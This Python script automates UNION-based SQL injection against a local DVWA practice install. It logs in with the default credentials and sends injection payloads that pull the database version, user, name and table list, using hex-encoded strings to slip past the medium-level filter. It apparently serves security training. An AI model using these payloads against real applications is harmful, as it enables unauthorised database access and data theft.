import requests
from bs4 import BeautifulSoup
from enum import Enum

def beautify_query_single(query_result):
    beautified_query_result = (
        str(query_result)
        .replace("<br/>", "\n")
        .replace("<pre>", "")
        .replace("</pre>", "")
    )
    return beautified_query_result.splitlines()[2].split(":")[1].strip()


def beautify_query_double(query_result):
    beautified_query_result = (
        str(query_result)
        .replace("<br/>", "\n")
        .replace("<pre>", "")
        .replace("</pre>", "")
    )
    return (
        beautified_query_result.splitlines()[1].split(":")[1]
        + " "
        + beautified_query_result.splitlines()[2].split(":")[1]
    )


# Cookies for security level
class security_levels(Enum):
    low = "low"
    medium = "medium"
    high = "high"
    impossible = "impossible"

base_ip = "http://127.0.0.1/dvwa"
login_url = f"{base_ip}/login.php"
sqli_url = f"{base_ip}/vulnerabilities/sqli/"

#query section
class query_section(Enum):
    query_version = "-1 UNION SELECT 1, version()#"
    query_user = "-1 UNION SELECT 1,user() #"
    query_database = "-1 UNION SELECT 1,database() #"
    query_tables = "-1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_type=0x62617365207461626c65 AND table_schema=0x{}; #"
    query_all_tables = "-1 union select null, table_name COLLATE utf8_general_ci from information_schema.tables #"
    query_base_tables = "-1 UNION SELECT 1,table_name FROM  information_schema.tables WHERE table_type=0xbase_table AND table_schema=0xdvwa".replace("base_table",'base table'.encode('utf-8').hex()).replace("dvwa","dvwa".encode('utf-8').hex())



def send_query(session):
    for query in query_section:
        data = {"id": query.value, "Submit": "Submit"}
        response = session.post(sqli_url, data=data)
        soup = BeautifulSoup(response.text, "html.parser")
        final_result = soup.find_all("pre")
        print(str(query)+": "+query.value)
        print(final_result)
        print("********************************")


def login(url, security):
    s = requests.Session()
    s.cookies.set("security",security)
    response = s.get(url)
    soup = BeautifulSoup(response.text, "html.parser")
    user_token = soup.find("input", {"name": "user_token"})

    data = {
        "username": "admin",
        "password": "password",
        "Login": "Login",
        "user_token": user_token["value"],
    }
    response = s.post(url, data=data)

    return s


if __name__ == "__main__":
    security_level = security_levels.medium.value
    session = login(login_url, security_level)
    response = session.get(sqli_url)
    soup = BeautifulSoup(response.text, "html.parser")
    send_query(session)